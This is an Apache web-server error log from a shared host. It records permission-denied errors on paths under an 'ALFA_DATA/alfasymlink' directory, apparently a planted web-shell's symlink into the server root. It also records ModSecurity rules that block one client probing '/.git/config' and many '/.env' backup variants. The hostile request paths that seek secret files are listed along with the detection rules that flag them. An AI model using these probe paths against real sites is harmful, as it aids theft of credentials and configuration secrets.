[Sun Oct 25 05:06:02.143441 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 184.73.195.18:32736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/uevent
[Sun Oct 25 05:06:03.885862 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.9:12522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/alloc_calls
[Sun Oct 25 05:06:08.194241 2026] [core:crit] [pid 2800300:tid 2800300] (13)Permission denied: [client 66.132.172.218:48098] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 05:06:10.164283 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.231.45.47:61931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:13.391284 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 185.191.171.6:55142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/slabs
[Sun Oct 25 05:06:14.161047 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 98.83.178.66:9277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:18.156678 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 54.225.199.17:43767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/exar_serial/unbind
[Sun Oct 25 05:06:21.707388 2026] [core:crit] [pid 2800301:tid 2800301] (13)Permission denied: [client 66.132.172.218:20074] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 05:06:38.288210 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 18.213.27.222:62437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:40.313789 2026] [core:crit] [pid 2800080:tid 2800080] (13)Permission denied: [client 216.244.66.250:51858] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/fd/' is executable
[Sun Oct 25 05:06:40.313873 2026] [core:crit] [pid 2800080:tid 2800080] (13)Permission denied: [client 216.244.66.250:51858] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/map_files/' is executable
[Sun Oct 25 05:06:40.313891 2026] [core:crit] [pid 2800080:tid 2800080] (13)Permission denied: [client 216.244.66.250:51858] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1379/fdinfo/' is executable
[Sun Oct 25 05:06:42.221018 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.23.214.190:40399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:47.527315 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.224.104.67:17851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:50.234900 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.70.209.13:41983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:54.147859 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.194.95.99:50699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:06:56.291109 2026] [core:crit] [pid 2800258:tid 2800258] (13)Permission denied: [client 216.244.66.250:54276] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/fd/' is executable
[Sun Oct 25 05:06:56.291199 2026] [core:crit] [pid 2800258:tid 2800258] (13)Permission denied: [client 216.244.66.250:54276] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/map_files/' is executable
[Sun Oct 25 05:06:56.291223 2026] [core:crit] [pid 2800258:tid 2800258] (13)Permission denied: [client 216.244.66.250:54276] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/fdinfo/' is executable
[Sun Oct 25 05:06:58.147428 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 52.0.218.219:12930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:02.148716 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.218.35.239:31602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:18.160259 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 35.173.18.61:22226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/io_type
[Sun Oct 25 05:07:26.060173 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 85.208.96.205:45596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:34.129261 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.200.58.199:57200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:38.192849 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 23.21.175.228:26138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:50.262240 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 85.208.96.208:45586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/min_partial
[Sun Oct 25 05:07:50.291065 2026] [ssl:error] [pid 2800257:tid 2800257] (95)Operation not supported: [client 100.24.149.244:44156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:56.216220 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 185.191.171.6:47874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:07:58.123153 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 23.21.175.228:2797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/resource0
[Sun Oct 25 05:08:01.130615 2026] [authz_core:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 05:08:01.513622 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3G8cAclEqdWzgpj08wFQAAAAc"]
[Sun Oct 25 05:08:01.513957 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3G8cAclEqdWzgpj08wFQAAAAc"]
[Sun Oct 25 05:08:01.514444 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3G8cAclEqdWzgpj08wFQAAAAc"]
[Sun Oct 25 05:08:01.718347 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3G8cAclEqdWzgpj08wFwAAAAc"]
[Sun Oct 25 05:08:01.718620 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3G8cAclEqdWzgpj08wFwAAAAc"]
[Sun Oct 25 05:08:01.718969 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3G8cAclEqdWzgpj08wFwAAAAc"]
[Sun Oct 25 05:08:01.814895 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3G8cAclEqdWzgpj08wGAAAAAc"]
[Sun Oct 25 05:08:01.815150 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3G8cAclEqdWzgpj08wGAAAAAc"]
[Sun Oct 25 05:08:01.815489 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3G8cAclEqdWzgpj08wGAAAAAc"]
[Sun Oct 25 05:08:01.911316 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3G8cAclEqdWzgpj08wGQAAAAc"]
[Sun Oct 25 05:08:01.911552 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3G8cAclEqdWzgpj08wGQAAAAc"]
[Sun Oct 25 05:08:01.911886 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3G8cAclEqdWzgpj08wGQAAAAc"]
[Sun Oct 25 05:08:02.003418 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3G8sAclEqdWzgpj08wGgAAAAc"]
[Sun Oct 25 05:08:02.003652 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3G8sAclEqdWzgpj08wGgAAAAc"]
[Sun Oct 25 05:08:02.003963 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3G8sAclEqdWzgpj08wGgAAAAc"]
[Sun Oct 25 05:08:02.110076 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3G8sAclEqdWzgpj08wGwAAAAc"]
[Sun Oct 25 05:08:02.110305 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3G8sAclEqdWzgpj08wGwAAAAc"]
[Sun Oct 25 05:08:02.110650 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3G8sAclEqdWzgpj08wGwAAAAc"]
[Sun Oct 25 05:08:02.202405 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3G8sAclEqdWzgpj08wHAAAAAc"]
[Sun Oct 25 05:08:02.202638 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3G8sAclEqdWzgpj08wHAAAAAc"]
[Sun Oct 25 05:08:02.202960 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3G8sAclEqdWzgpj08wHAAAAAc"]
[Sun Oct 25 05:08:02.307994 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3G8sAclEqdWzgpj08wHQAAAAc"]
[Sun Oct 25 05:08:02.308224 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3G8sAclEqdWzgpj08wHQAAAAc"]
[Sun Oct 25 05:08:02.308568 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3G8sAclEqdWzgpj08wHQAAAAc"]
[Sun Oct 25 05:08:02.398804 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3G8sAclEqdWzgpj08wHgAAAAc"]
[Sun Oct 25 05:08:02.399094 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3G8sAclEqdWzgpj08wHgAAAAc"]
[Sun Oct 25 05:08:02.399489 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3G8sAclEqdWzgpj08wHgAAAAc"]
[Sun Oct 25 05:08:02.517995 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3G8sAclEqdWzgpj08wHwAAAAc"]
[Sun Oct 25 05:08:02.518250 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3G8sAclEqdWzgpj08wHwAAAAc"]
